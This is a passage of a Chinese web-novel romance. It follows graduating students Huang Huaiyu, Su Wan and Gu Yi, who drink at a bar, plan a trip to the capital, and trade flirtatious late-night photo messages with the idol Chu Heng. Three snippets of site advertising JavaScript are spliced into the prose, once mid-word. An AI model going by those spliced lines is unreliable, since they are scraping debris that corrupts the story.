因为黄怀予已经眼睛一闭,睡了过去。 “……”隐隐约约里,他发出一声轻轻的叹息。 似是不甘心的,执着的,渴望的语气。 “今天你对我做的这些,全都是假的吗?” 他顿住良久,才低垂着头,在女孩耳边,说出了那句最在意的话。 “换了别人,你也会这样做吗?” ——“快快快!什么情况?什么情况?” 李鸣月大呼小叫地过来,左手拎着拖把,右手拿着一个套了塑料袋的巨大垃圾桶,风风火火地跑过来,后面还跟着拎了一大堆东西的谷奕和苏琬。 她冲过来,第一眼先看黄怀予——发现她正躺在沙发上,嘴唇红红的,神色安然,已经睡着了。 再一看——地上干干净净,啥都没有。 她放下心来,最后才注意到,楚恒已经不知道什么时候,坐到了黄怀予旁边,距离极近,还保持着之前俯身的动作。 他注意到李鸣月过来的声音,才慢慢直起身体,拉开与黄怀予的距离。 “……”李鸣月有些呆滞。 楚恒转过头来,对李鸣月淡淡说,”她没事,就是睡着了。” “……哦哦。”李鸣月有些发愣,放下手里的东西,仍然有些没反应过来。 楚恒看着身后马上就要过来的苏琬和谷奕,对李鸣月说: “月姐,等会要麻烦你把她送回去了。” “哦哦。” 李鸣月不知道这一路自己是怎么迷迷糊糊过来的,直到她载上苏琬和黄怀予,坐上驾驶座时,她才想到: 她可是黄怀予的小姨! 要送她回家,还需要楚恒提醒吗! 他这么冷淡,什么时候看他关心过别人? 在监控室里主动选择黄怀予,走到黄怀予旁边贴面耳语,维持了好几年的自律狂魔居然破天荒吃了油炸食品,到最后趁着所有人都不在的时候离喝醉的黄怀予那么近,那距离说他在亲她都不为过…… 她用力砸了一下方向盘,车子发出一声沉闷的喇叭声。 “啊啊啊啊啊!” “小姨,怎么了?” 苏琬的声音从后座传来,李鸣月深呼吸几口,咬牙切齿般挤出几个字。 “没什么,被那小子偷家了。” 120. 第 120 章 2018年6月9日,周六。 黄怀予人生中第一次体验到宿醉的感觉。 她慢慢睁开眼睛,早晨的晨光透过厚重的帘子洒落一点点在她脸上,她手臂动了动,这才发现自己躺在一张陌生床上。 陡然惊醒,左右看了看,头倒是不痛,昨天晚上只喝了两三杯所以反而睡了一觉起来神清气爽——她终于想起来了,昨晚直接被李鸣月带回了她家,睡在她家次卧里。 不错,很明智的选择。直接在李鸣月家睡一晚没什么,但是如果醉醺醺回自己家那就会被外婆大骂一顿,黄怀予心想李鸣月可真是懂她。 昨天晚上发生什么了? 她呆呆地靠在床头。 依稀记得1969的地板很冰,她哭得上气不接下气,苏琬给自己喂了一点甜水,谷奕一边嘲笑自己一边还给自己擦眼泪…… 以及,好像有一个男人和自己讲话。 黄怀予眨了眨眼睛,那张白净俊朗的脸在自己脑子里越来越清晰。 “啊啊啊啊!” 她掐住自己的头发,皱着眉,有点崩溃。 时至今日她似乎已经无法再欺骗自己,那就是她和那个人之间的关系,随着昨天那些紧密的拥抱、缠绵的接触,已经结结实实近了很大一步。 黑暗的角落,酒精的麻痹,微红的脸颊,耳边的密语,他这个人的存在已经变成了一想到就会忍不住心跳加速的助推器,反复折磨,就像两人之间的关系,似乎也正在“朋友”这个界限上左右晃动。 脑子刚睡醒还是很昏沉,她脑子里乱糟糟的。 黄怀予很少有这种没法处理的情况。她想如果是苏琬,就一定知道应该怎么做,因为苏琬感情经历比她丰富,也能更理性面对自己,想开始就勇敢开始,想结束就大方结束。不过这种情况都是基于苏琬本身就掌握了所有关系的主导权——反正她喜欢上的男生,最后都会喜欢上她的。 黄怀予哼出一口气。 毫无借鉴意义,甚至跟自己完全相反。 又没有人会喜欢上黄怀予。一直以来都是这样。 没关系,苏琬有她擅长的部分,黄怀予也有自己擅长的部分,就是和所有人都成为朋友。 装的也好,真心的也好,这种关系永远不会出错,就算暧昧在大家面前被揭露,也能插科打诨地说:“我们是朋友。”来杜绝怕被对方发现之后拒绝的无措与丢脸。 …… 洗漱结束走出房门,主卧空空如也。 已经上午十一点了,她打开微信,李鸣月扔下一条“我和你泉姐今天出门约会”就再也没有任何消息。 “……”她帮她俩关上家门,还帮忙喂了两根猫条和狗粮,才出门坐上了公交车。 路上,谷奕一直兴奋地在“大杯蒜”群里发消息,不停说着15号的毕业旅行。 对于这件事,三人都很是兴奋。 最兴奋的是谷奕,因为他得到了那两人的承诺,一心想去长城看星星。而黄怀予和苏琬也对于人生中第一次脱离家长控制的毕业旅行有着强烈的期待。 路上阳光明媚,公交车慢悠悠地行驶在望湖边,岸边柳树枝叶繁茂,微风飘摇。 黄怀予头一次以“高考结束”的身份看着这座已经生活了十八年的家乡城市,心里泛起奇异的波澜。同样的马路,同样的湖泊,同样的城市,连她自己都和6月7号之前一模一样。有什么变了吗?她看着窗外的日光,突然觉得这一刻好舒服,要不就死在这一刻吧。 柳树和行人往后倒退,前方湖水中间,骤然出现一座岛屿,岛屿中间一座精致中式建筑,雕梁画栋,白墙黑瓦,上面四个行书大字“望湖山庄”,越来越近。 黄怀予拍了张照,发在群里。 “少爷,竞品公司的产品服务体验如何。” 没过多久,谷奕回复道:“你到鸡鸣区了?” “湖景还行,房间有点小了,早餐奇差无比。” “想住?晚上给你和苏琬一人开一间,我请。” 紧接着,他在群里发了一张照片。 黄怀予点开,看清照片上是什么之后,一瞬间心跳有点加速。 ——白色宽敞桌面中间放着一个鸳鸯锅,周围全是红色的肉卷。火锅中间雾气蒸腾,对面坐着一个男生,眉眼深邃,五官精致,垂着眼,像是不知道有人在拍照,脸上没什么表情,修长的手指有一搭没一搭玩着桌上的一次性湿巾。 他神情淡然,气质带着一丝冷郁,和火锅店的气氛似乎完全不搭,坐在里面极其违和。 “吃火锅中。” “要来一起吃吗?在Jimmy区人民广场,一中附近。” “@蒜蒜@杯子” 黄怀予手指不自觉收紧,盯着手机屏幕,看着那张照片足足有好几秒。 【蒜蒜】:这照片很女友视角。 【Google】:哈哈哈哈哈 【Google】:刚问他,我是不是他的圈外素人女友,他冷了我一眼。 “……” 黄怀予掩下心里有些肆意生长的情绪,锁上手机,靠着车窗,闭上了眼。 * 最终黄怀予和苏琬还是没去吃火锅。 因为下午两人早就约了林潇潇和杨捷出去玩。 四个人痛快吃了一顿海鲜自助,又去望湖边租了两辆双人自行车,绕着湖边骑了几小时,骑累了就去电玩城,捧了杯奶茶排队买冰淇淋,最后看了一场电影。 极其酣畅淋漓的特种兵行程,卸下所有负担之后能想到最自由最潇洒的娱乐方式也不过如此了。小镇青年对“玩乐”的所有想象大抵这样,最痛快也沾着闭塞,最自由也带着谨慎,楚门六月份的太阳热烈烈地照耀,她们拍了一堆照片,倘若时空也可以这样定格在2018年的夏天,倘若世界也可以一直等待她们飞翔。 …… “人呢?” “玩得乐不思蜀了?” “你们俩还记得这里还有一个我吗?” 手机不停震动,黄怀予和苏琬的名字在群里不停被人艾特,对面那人似乎极其生气,“才高考结束第一天,你们俩就不要我了!” “……”黄怀予躺在商场的按摩椅上,艰难拿起手机扫了一眼,对旁边啧了一声,“他又抽风了。” 这人简直像狗一样,一刻都不能离人,昨天考完就一直呆在一起,今天中午就发照片说想一起吃火锅,然后一整个下午都时不时发消息过来问她们在玩什么,好不好玩。 她锁掉屏幕,闭上眼,“安抚他的任务就交给你了。我先眯会。” 一个下午紧密的行程后酸痛的肌肉在身后的按摩下逐渐放松,黄怀予头一歪,睡了过去。 苏琬躺在旁边,闻言,笑着拿起手机,“好。你睡吧,等会我叫你。” 【蒜蒜】:记得。 【蒜蒜】:你在哪? 【Google】:……哼。 【Google】:下午和楚恒去打球了。现在刚吃完晚饭。 【Goog (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' le】:昨天在1969喝的酒,很好喝,你不觉得吗? 【Google】:我又想喝了。 苏琬手指停了两下,没想好回什么。 李鸣月为了准备昨天的密室,一直从6月初开始关店,直到下周才继续营业。今天又听杯子说李鸣月出去和泉姐一起约会了,估计现在就算回家了也不会临时跑过来开业。 【蒜蒜】:1969今天开不了。 【Google】:可是我真的好想喝啊~~~ ? 苏琬定睛,看了一眼那人发的三个波浪号。 他是在撒娇? 下一秒,一个视频电话就直接打了过来。 苏琬一愣,有点手忙脚乱地接了。 谷奕的脸出现在手机屏幕上,一米八/九的大个子软了下来,凌厉的五官此时却软哒哒地皱在一起,嘴角有点委屈地撇着,眉眼压下来,就这样看着她。 “高考后结束第一天,你们俩没有和我在一起。这是第一。” “中午你们俩没有过来和我一起吃火锅,这是第二。” “一整个下午一条消息也不回我,这是第三。” 少年本来一贯张扬肆意的声音现在却多了一点软和,从手机听筒里传出来,夹杂着丝丝电流,有些失真,带着自己都没有发现的黏黏糊糊。 “三罪并罚!你们必须满足我一个愿望!” 在两个女生面前习惯了当护花使者的谷奕似乎终于想起了自己的大少爷身份,难得对她们两人耍脾气,喊道:“我就要去1969!” “……” 苏琬垂眸看着手机屏幕上他那张帅得张扬的脸,沉默了两秒,不由自主看向左边歪头躺着睡觉的黄怀予。 这件事苏琬说了可不算,要让1969营业,黄怀予才有可能做到。 苏琬没想去吵醒黄怀予,正想说“不行换一家吧”,旁边忽然响起一道不耐烦的声音。 ——“啧。” 闭着眼的女孩突然皱起眉头,下一秒就睁开眼睛,没好气地从苏琬手里拿过手机,苏琬这才发现她原来一直都听到了。 “你耍什么少爷脾气?你以为我是你的保姆?” 一句劈头盖脸的骂,对面有点懵了,半晌才极其委屈地低声说: “我才没有……我只是想去1969喝酒,不行吗……你们好凶,今天一整天都把我晾在一边去和林潇潇杨捷玩,那我呢?你们真讨厌!” 话音落下,通话直接中断,他骤然挂断了视频,只剩下那张模糊的脸停留在手机屏幕上,三秒之后也消失不见。 “?” 黄怀予把手机还给苏琬,不可置信般嗤笑一声,“他平时也这样跟你发脾气?” “那倒没有。”苏琬想了想,“会不会我们今天没理他,他真的生气了?” “作天作地的。”黄怀予瞄了一眼自己按摩椅上的剩余时间,还有五分钟,她睁着眼睛看着天花板,几秒钟之后吐出一口气,烦躁地妥协,“去,行了吧?你跟他说,我给我小姨打电话。” 苏琬帮黄怀予捋了捋头顶没睡醒翘起来的头发,扑哧一声笑出来。 【蒜蒜】:别生气,我们现在给小姨打电话。 三分钟后。 【Google】:算你们识相。 五分钟后。 【Google】:我可没有原谅你们,你们今天太过分了。 八分钟后。 【Google】:在哪,我去找你们。 121. 第 121 章 黄怀予和苏琬走出商场门口。 远远就看见门口路边站着两个男生。 左边的个子很高,靠着墙,额间绑着白色运动发带,头发湿漉漉的,脸上有些不耐。 右边高挑清瘦,白色T恤,卡其色长裤,腰间还有若隐若现的银链。从黄怀予走下一楼的那一刻,他似乎就发现了她,目光一直紧紧落在她身上,就这样看着她一步步朝自己走来。 两人都长相出众,身材高挑,这样的两个男生站在路边,沿路不时有路人回头张望。 “……”黄怀予脚步不由自主停了下来,一想到他们都在等自己,心里泛上一种没来由的隐秘的欢喜,可是意识到这点以后又迅速开始唾弃自己。 苏琬走上前,仰起头看着谷奕的脸,看了好几秒。 直到看得谷奕有点不好意思咳嗽两声,装作粗声粗气地说“看什么?”,她才说:“没生气吧?” “切。”谷奕移开目光,“我气量大,不跟你们一般见识。” …… 黄怀予顶着楚恒灼灼凝视的目光,摸摸鼻子,硬着头皮上前: “哈喽。” 他似乎和谷奕下午刚打过球,洗了澡,整个人泛着潮湿的水汽,发尾还有一点点没干,一走近就能闻到身上那股极其好闻的香味,丰盈却不浓烈。 “昨晚睡得好吗。” 黄怀予没料到他会主动和自己开启聊天话头,惊讶之后点点头,“挺好的。” 他听到这个回答以后眸光闪烁一下。 “那昨晚发生过的事,” 他看着她的脸,声音很轻: “以及说过的话……” “还记得吗。” 他语调轻盈,但是神色却好似很认真,瞳孔里好像只倒映着她一个人,脸侧在周围路灯光线下似乎也被打上了一层柔和的光晕。 黄怀予有些呆滞地眨了眨眼,有些不自然别过脸。 她记得吗?她怎么不记得?刚刚高考完,她上知天文下知地理,知识渊博得可以飞天了,记忆力跟喝了脑白金似的,她能不记得吗? 被长着他这样一张脸的成年男性在黑漆漆的屋子里,身体贴着身体抱了二十几分钟,又被他当众追问游戏里随手撩撩的行为到底是不是认真的,你说她记不记得? “干嘛,你想嘲笑我喝醉了?” 她咬牙,脸上有点烫,第一反应就是装傻,继续扮演乐子人。 “我就记得我耍酒疯哭了一场,别的都忘了。” 话音落下,黄怀予却半天没有听到回答,抬眼去看,却正好撞见楚恒那双幽深漆黑的眸子。 他凉凉说道。 “嗯。” “忘得一干二净了,对吗。” “是不是如果当时那个警卫不是我,换成别的男人,你就记得了。” “比如小吕,长得也挺帅的。对吧。” ? 谁是小吕? 她使劲回忆了一下,好像是有这么一个人,李鸣月的员工之一,长得……好像确实还挺帅的,浓眉大眼的,就是身高一般,目测一米七出头…… 她沉浸在回忆里,半晌没说话,楚恒盯着她好像是正在认真回想着什么的表情,脸色更黑了。 ——“真在想他帅不帅?” 声音有些喑哑,带着点咬牙的意味。 …… “杯姐!月姐有回复吗?” 谷奕的声音从身后传来,黄怀予一震,一下子想起正事。 李鸣月微信没有回复,她掏出手机给李鸣月打电话。 打了第一个,没接。 第二个,响了几声,李鸣月极其烦躁的声音从手机里传出来。 “干嘛?!” 黄怀予问今天能不能开门。 李鸣月骂道:“开个屁!今天休息,我身为老板怎么可能又把员工叫过来?” 黄怀予瞟了一眼旁边聚精会神偷听的谷奕,撇撇嘴,继续问道:“真的不行吗……我们都想来喝酒。” 李鸣月失去耐心,“挂了,我正跟你泉姐约会呢,别烦。” 谷奕在旁边听得心痒痒,直接一把从黄怀予手里抢过手机说: “三倍加班费,我出钱。” “……”上一秒还态度强硬的李鸣月沉默了。 “五倍加班费。” “……他们不一定现在有空。” “七倍加班费。” “你等着。” 黄怀予和苏琬咋舌。 谷奕虽然看上去是头脑简单四肢发达的二世祖,但是这种资本家的气质果然已经融入骨血里,坚信世界上任何问题都可以用钱解决。 那几句“加班费我出钱”,说得那么自然,那么容易,一个活生生的老板形象。 李鸣月挂断了电话,没过二十分钟,小周就骑着一个小电驴风驰电掣地赶过来,拿着一个钥匙,满脸堆笑地来开门。 “两位姐,两位哥,里面请!” 谷奕看他一眼,“就你一个人?” 小周面不改色,“还有小王小吕小张小吴小欧阳。” “听群里说有七倍加班费,立刻都说会主动过来。” “我住得近,第一个到。” 谷奕终于心愿达成,走进酒吧大门的一瞬间整个人都舒爽了。 四个人在沙发卡座上坐下。 苏琬准备先把15号去帝都的路程给定了。结果黄怀予和苏琬都还没来得及选是绿皮还是高铁,谷奕就几下买好了三个人去帝都的机票。 “经济舱我坐不习惯。” “高铁太慢。” “绿皮硬卧更不可能!” “酒店就更不用考虑了。” 谷奕一脸理所当然,出去打了个电话,回来就说搞定了,自己家的酒店,随便住。 ……苏琬有些懵然,她昨天才找苏明要了一点旅游经费,本来也没多少钱,她还想着省点花,结果现在机酒全部买完了,自己完全零支出。 她觉得有些不好意思,刚想说话,转眼就看见谷奕盯着自己,像是知道她要说什么似的,脸上有些不高兴。 他估计又要说,钱对他来说什么都不算。 苏琬把话咽了回去,作罢。 关于到了帝都之后的所有衣食住行,苏琬昨晚回家之后列了三页的计划。她找了各种各样的资料,最复杂的是路线、交通和住宿,考虑了各种性价比、交通工具以及景点之间的位置距离。 但是谷奕完全没有任何思考。 他看见那份苏琬拿出来的计划,颇有些震惊地拿过来认真看了看,还给本地人楚恒看了看。楚恒表示是很好的攻略,安排得很合理。 谷奕看着上面标注的各种“性价比”“最便宜的方式”“一日花费预计人均100元”,揉了揉头发,极为真诚地说: “我们不用考虑性价比。” “所以,我们不用任何计划。” 苏琬听到这话,呆了一下。 她不自觉看向黄怀予,发现黄怀予也是一副有点愣怔的神情。 是啊,计划是留给穷人的,因为要花钱就属于意外,而穷人需要规避意外。但是有钱人根本不在乎,能用钱解决的问题都不叫问题。没有意外,自然不用计划。 去哪都无所谓,只要是出去玩,只要是和喜欢的人们呆在一起。 计算、比较、性价比,都是穷人才需要弄明白的。 有钱人只有风花雪月。 “……”她低下头,不知道自己该用什么心情去面对这个现实。下一秒她的手就被一只桌下偷偷伸过来的手给握住了,她抬头,对上黄怀予的眼睛。 苏琬冲她笑了笑。 黄怀予握住她的手,看见她的笑,意识到自己的担心也有些多余。苏琬不管面对什么样的现实,都只会认识到差距,但是绝不会感到自卑——这也是黄怀予觉得她看上去柔弱,却是一个自我意识完整坚定的人的原因。 而黄怀予看上去强势主动,却是一个极其容易感到自卑的人。 …… 小王端上来四杯酒。 谷奕嘲笑黄怀予酒量太差,昨天才喝了两杯就不行了,黄怀予愤愤不平,“那是我喝得太快了!我今天慢慢喝我绝对不醉!” 几个人聊起15号的毕业旅行,越聊越兴奋。 楚恒坐在座位上,沉默听着三人叽叽喳喳的话语。 同班同学,一起经历了一年的高三生活,一起走进了高考考场,拥有同样的步调,走向同样的未来。她们仿佛自动形成一个社交圈,而他早就脱离了学生的身份,甚至连职业都这样敏感特殊。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手指轻轻划过手中的杯子,冰镇的水雾滴到桌面,像是也滴在了他的心上。 谷奕勾住他的肩膀,“哥们儿,你明天什么安排?要是有事我们今天就别搞太晚,免得耽误你正事。” “没事。” “那过几天呢?” 楚恒一顿,他知道谷奕问的是现在有什么打算。 他没有说话,抬起头,视线直直地落在了对面的短发女生身上。 ——黄怀予喝了一杯鸡尾酒,脸颊已经泛红,眼神染上了醉意。她歪头靠在苏琬肩膀上,双眼迷离,动作缓慢地吃着桌上的花生米,像一只仓鼠。 嘴唇饱满,花生米被一粒一粒放进嘴里,又被洁白的牙齿咬碎,混合着咽下去。 1969五颜六色的光线下,她的脸染上一层淡淡的朦胧,鼻梁在脸上投下阴影,又闭上眼,睫毛轻轻地颤抖。 楚恒的视线不自觉落在她唇上。 盯了三秒,四秒,他垂下眼睫,仰头浅饮下一口杯里的酒。 …… 谷奕和苏琬聊起旅游行程中的游乐设施和攻略。 苏琬说:“我们三个人其实不太方便,很多设施都是双人。” 黄怀予已经醉了七八分,靠在苏琬肩膀上,嘟嘟囊囊地说:“要不我们再拉一个人?看谁有空?” 她的本意是指看班上同学谁有空,只要是熟人就行。 谷奕看她那醉样,拿出手机对着她拍了张照片,直接发到了“大杯蒜”群里,这才慢条斯理开玩笑道:“楚老师不就有空吗?” ? 黄怀予愣愣地看向楚恒,正好和楚恒漆黑的眸子对上。 她醉意上头,呆呆地看着他那双漂亮的桃花眼,嘴里重复了一句: “……楚老师?” 苏琬下意识就看了一眼黄怀予,随后思考了几秒,微微笑说: “正好四个人,双数比较方便。我没意见。” “真的啊?” 谷奕愣住,没想到自己随口一句玩笑话竟然好像真的有可能实现。 这趟旅行本质上是她们三个人的毕业旅行,所以一开始三人都没有想过要加上别人。但是现在一想,加上楚恒也完全可以。本地人,对帝都很熟悉,跟三个人都认识,而且最近才陷在解约退团的那堆烂事里,出来散散心也是好的。 谷奕想到这里瞬间觉得豁然开朗,拍拍楚恒肩膀,“兄弟,你来吗?我们很欢迎啊!” 欢迎? 会吗? 楚恒慢慢握紧五指,他好像从来都没有被欢迎加入过任何一个群体。那些人都是排斥的,都是傲慢的,他是孤点,无数的线擦过他身边,没有线可以把他连接起来。 他低下头,掩盖住幽深眼眸里的波澜,摩挲着手中的酒杯。 沉默几秒,最终点点头。 看见他竟然同意了,谷奕情不自禁勾唇笑了,一把搂住他的肩膀。 “好,那就这么定了!太好了哥们儿,我们带你玩!” 谷奕立刻掏出手机,刷刷刷点了几下,下一秒楚恒手机就震动了两下。他拿起来一看,只见自己已经被拉进了一个叫“大杯蒜”的群里。 【Google】修改群名为“祝你开心到想”。 楚恒眉头微微蹙起来,盯着手机上蹦出来的这条消息。 祝你开心到想?想什么? 他视线往上一扫,看见手机顶上的群名显示着“祝你开心到想(4)”。 ……楚恒怔然。 他隐约感觉到一点奇异的群体感。 倏地,他脑中浮现出接近一年以前,谷奕刚刚来到楚门的时候,天天给他发消息抱怨新学校的生活,以及遇见的两个奇怪的女孩。 他的话充满抱怨,充满烦躁,可是就那么奇怪地能从里面品出一丝莫名其妙的幸福和开心,让人隐秘地知道,他似乎自己甘之如饴。 楚恒握住酒杯,却没人发现他有多用力,骨节都泛白。 一年以后,轮到他了。 他仰头喝酒,头顶正好打过来两道橙色和蓝色的射线,清爽的酒液顺着喉咙往下滑,一缕后知后觉的幸福感慢慢把他包围。隔着可林杯透明的潮湿的杯壁,他不由自主又看向对面那个短发女生。 ——却见黄怀予已经醉倒,趴在桌子上,沉沉睡了过去。 122. 第 122 章 四人约定用一周的时间各自准备行李。 谷奕回了魔都,楚恒回了帝都。 黄怀予这一周过得很惬意,闲暇时候在家里躺着吹空调吃西瓜,看看漫画,读读小说。 喝醉的感觉太爽了,她还从李鸣月那里顺来两瓶酒以及一个调酒配方,晚上在家自己随便调杯最简单的十几度的酒,加个冰块,一饮而尽,再美美睡觉。 晚上步履虚浮地出来倒水喝,收获外婆一个狠狠的白眼。 “我每天晚上都没看你醒过。” 虽然看不惯,但是还被黄怀予嘻嘻哈哈地拉着尝了一点她调的酒,呸呸呸了几下,最后还是由她去了。 “羡慕吧?”黄怀予很是欠揍地把酒冲外公面前一晃,“你癌症病人,戒了好几年了,喝不着!” 外公看外婆一眼,用楚门话骂道:“你看她有意思吧?”笑着打了黄怀予一下。 …… 她晕乎乎躺床上,对着手机打字。 手机上突然蹦出一条消息,谷奕告诉了她一个惊天大秘密。 ——他打算在长城看星星那天晚上,向苏琬表白。 黄怀予一惊,浑身的酒意都醒了。 她从床上挺身而起,突然又觉得这个消息好像有点那么意料之中。她能感觉到谷奕对“去长城看星星”这件事有点兴奋过头了,而且还那么期待黄怀予和苏琬一定要陪他一起去。 按道理说他去过那么多地方看星星,长城的星星能有什么不同吗? 最不同的,应该是身边的人。 “不说了,不说了……”他发了条语音过来,黄怀予居然听出他声音里难得带了一丝羞涩和不好意思,“等你们到了帝都再说。” 她嘿嘿一笑,发了三排的“大拇指”过去。 对于苏琬的感情生活,黄怀予一向保持“她愿意就行”的态度。据她这一年的观察,苏琬应该是愿意的。 最重要的是,谷奕这人,长得帅,个子高,家里有钱,脑子笨。 ——很不错的条件! 她给了一点鼓励过去,保证绝对保密,最后还让谷奕做好被拒绝的准备。 “被拒绝?!你什么意思?!” “生活不如意之事十有八九。她同意和拒绝的概率其实是50对50。我可以帮你出谋划策,但是我绝对不会劝她和你在一起,因为成为你的朋友之前,我首先是她的朋友。这个决定会完全由她一个人做出。” 对面蔫了,半晌才情绪很低地回复一句:“你说得对。” “那也别灰心啊,你还有50%的概率呢。” 黄怀予劝了他半天。 脑子醉意又上来了,她躺床上准备闭眼听听歌,手机又震了两下。 一点开,她酒意又被吓醒了。 楚恒又给她发腹肌照了! “……”黄怀予咬着牙锁掉了屏幕,深呼吸几口气才重新打开,发现照片后面还跟着一句话。 【楚老师】:回帝都了,开始恢复训练。这是今日成果。 她盯着那句话看了好几秒,最终还是习惯性地打开照片。 结果点开大图之后才发现,今天的照片和之前的照片都不太一样。 他好像穿了一件类似于制服的白色衬衫,领口打了黑色领带,袖口一直往上折到了手肘处,露出了小臂若隐若现的青筋。衬衫纽扣往上解到了第二颗,除了腹部,还露出了一部分胸口,隐隐约约可以看见白皙的皮肤和一点点阴影沟壑。 【楚老师】:教练加了新的训练内容,除了腹部的,还有胸的。 “……” 有人性的男人会给异性朋友大半夜发这种照片吗? 你有必要弯腰成这样吗? 黄怀予平复了几下呼吸,发了一张小S的“wow”表情包过去。 【楚老师】:只有一张表情包吗? 【楚老师】:是我练得不好吧。 “没有,特别好。”黄怀予犹豫了一下,还是决定实话实说,“衬衫和领带特别好看。” 【楚老师】:是吗。 【楚老师】:那就好。 【楚老师】:晚安。 …… 这谁能安? 黄怀予扔了手机,躺在床上,关掉了灯,闭上了眼睛。 酒精的后劲慢慢泛上来,她脑袋越来越沉重。 意识模糊的最后一刻,她好像身处于一个富丽堂皇的房间里,门被打开,一个高挑的男人走了进来,一身白色紧身衬衫勾勒出精瘦的身形。他抬起手,一点点把袖口挽到手肘处,又缓缓松了松领带,一颗一颗地把纽扣解开,露出块垒分明的肌肉线条,一步步朝黄怀予走过来。 ……黄怀予在混沌的最后,只记得那人劲瘦白皙的腰。 * “啊啊啊啊啊——” 黄怀予睡到中午,突然惊醒,一觉醒来第一件事,就是打开微博,点开“5.5hours”的聊天框。 “救命啊——” “我昨天晚上梦见他了——” “卧槽了啊啊啊啊啊——” …… 5.5在五月底的时候曾经短暂地与她失联了三天,但是三天过后TA就回来了,解释说是现实生活太忙,但是之后都还像以前一样,经常听黄怀予更新赛博日记。 根据5.5表现出来的这种不爱说话、但是在网络上极其活跃又每天都好像很闲的生活状态来看,她几乎认定5.5是一个社恐二次元宅女了。 她猜5.5应该也和她一样是学生,甚至有可能也是今年高考,才会在5月底也那么忙。不过她也没问,她们两人之间是网友,隔着一层互联网的屏障可以无限倾诉生活中的事,但是一旦真的认识了也就失去这种感觉了。 高考之后黄怀予也彻底闲了下来,旅游之前的这个星期也经常在白天就和5.5聊天。 她短发凌乱,钻到被子里胡乱蹭。 没过五秒钟,对面居然立刻有了回复。 “谁。” 黄怀予没好气地打字:“还能有谁!那个男明星!” “哪个男明星?你不是经常梦见梦见男明星吗。” “之前还梦见过那个当红男流量。” 过了几秒,又生硬补上一句:“春梦。” ? 黄怀予觉得今天这人怎么好像和平常不太一样,攻击性尤其地足。 “不是那个当红的!是那个跟我认识的。” “哦。不是那个红的,是那个糊的。是吗?” “……”黄怀予觉得直接叫楚恒“糊的”也不太好,但是好像他自己也这么形容自己,于是还是承认道,“不能这么说,他只是没那么有名。” 对面停了几秒,才回复:“……你在维护他吗。” “算是吧。因为他是我的朋友。” “朋友?” “哦。” “那这位朋友昨晚在你的梦里做了什么。” 黄怀予脸一烫,发了个省略号过去。 “省略号是什么意思。” 她破罐破摔,“就是那个意思!” “什么意思,我不知道。” “你说出来,我才知道。” 黄怀予盯着手机屏幕几秒钟,最后躺倒在被子上。 “爱。” …… “都怪他,之前每天晚上都给我发腹肌照。好不容易中间停了一会,现在我考完了,他又开始接着发了!昨天晚上还穿了一件白色紧身衬衫,系了条黑色领带,卧槽,你说他什么意思?” 她等着5.5的回答,却没想到对方却好像在她发了那个“爱”字之后就沉默了,很久都没有说话。 黄怀予等得不耐,干脆不等了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,起床洗漱。客厅桌子上摆好了午饭,外婆外公已经吃完了,出门打牌去了,她坐下来一边看电视一边把所有的菜都慢慢吃光了,心情很是惬意。 ……到了晚上,黄怀予又在喝了一杯酒后,迷迷糊糊收到了楚老师发过来的照片。 这次的照片里,他穿了一件很宽松的T恤,带着项链、耳钉,左手上戴了两三个银戒,把衣服拉起来,一直拉到了胸口处,下半身露出了一点工装裤和腰带。银饰很衬他的肤色,整个人打扮得很像那种街头嘻哈潮男。 黄怀予脑子昏昏沉沉,眼前好像闪过什么东西,她定睛一看,这才看见,楚恒腰上似乎也戴了一条细细的银色腰链,在手机闪光灯下极其耀眼。 她太困了,没有回复,看着看着就闭上眼睡过去了,结果过了几分钟脑袋旁边的手机就震了两下,把她震醒了。 点开一看,是楚恒发了消息。 【楚老师】:睡了吗? 【楚老师】:是今天的不好看吗? 【楚老师】:好的,我知道了。 …… 第二天晚上,楚恒戴了猫耳朵。 第三天晚上,楚恒穿了一套黑色皮衣和长筒靴。 第四天晚上,楚恒的手插在了深色西装裤的口袋里,大腿上还能看见衬衫夹的痕迹。 “明天的飞机,早点休息。明天帝都见,我和谷奕去机场接你们。” “晚安。” ……黄怀予扔掉了手机,带上了眼罩,把滚烫的脸狠狠埋进了枕头里。 * 6月15日。 黄怀予和苏琬都是人生中第一次坐飞机,到了江城机场之后,两人还仔细地上网搜了一下坐飞机是什么流程。 宽敞明亮的机场候机厅,林林总总的免税店,形形色色步履匆匆拉着行李箱走过的人。窗外停着几架白色飞机,阳光正好,十八岁的黄怀予安静坐在闸口前的座位上,强烈地感觉到她好像终于来到了外面的世界。 ——和楚门完全不一样的世界。 楚门是什么样?她回忆着。 楚门很小,店铺陈旧,最繁华的步行街也带着土气,橱窗里摆着七八年都不变的白色假人模特,大喇叭里传出浓重的本地口音“全场两元一律两元”,学生妹搂着手臂排队买本地奶茶,在整座城市唯一的三个商场里选了去过最多次的那个,路边买了袋炸鸡柳臭豆腐,最后在KTV弄了个小包唱到天黑。 夏天燥热,冬天湿冷,阴润润的潮湿。穿着短裤拖鞋出门,熟悉的太阳,熟悉的月亮,熟悉的云,熟悉的风,熟悉的人,安心地走在故乡的土地上。 然而下一秒一转眼,她已经到了帝都。 机场冷气很足,她拉着刚刚托运出来的行李箱,走在不认识的城市,呼吸着不认识的空气,迎面穿过不认识的人群。 前方大门出口不远处,两个男人正站在那里。 一个身材高大,穿了件飞行员夹克,戴着一副墨镜,前额一缕已经长长了不少的头发不知什么时候去弄了一个潋滟无比的挑染,交叉着双腿靠在墙边,远远就看见了她们,嘴角似乎勾起了一点笑。 一个高高瘦瘦,穿了一件蓝灰色衬衫,领口处松松垮垮系了一条纯黑色长长的领带,身后背了一个黑色皮质包,头发乌黑蓬松,堪堪遮住眉眼,戴了一个白色口罩,整个人身上没有任何多余的装饰,清爽干净。 黄怀予不由自主停住脚步。 她听见自己咚咚的心跳声。 他们站在那里,一路上吸引了很多目光。 可是人们只是看了一眼就掠过,帝都有太多人了,大都市的人们步履匆匆互不认识,只靠着规则维系,对陌生人的生活并不关心。 这是属于他们两人的城市。陌生的首都,繁华的一线城市,她用了十八年才走到的地方,却是他们的故乡。他们生来就已经在这里。 123. 第 123 章 “来了?” 谷奕插着兜,声音带着一丝笑意。 “上车。” 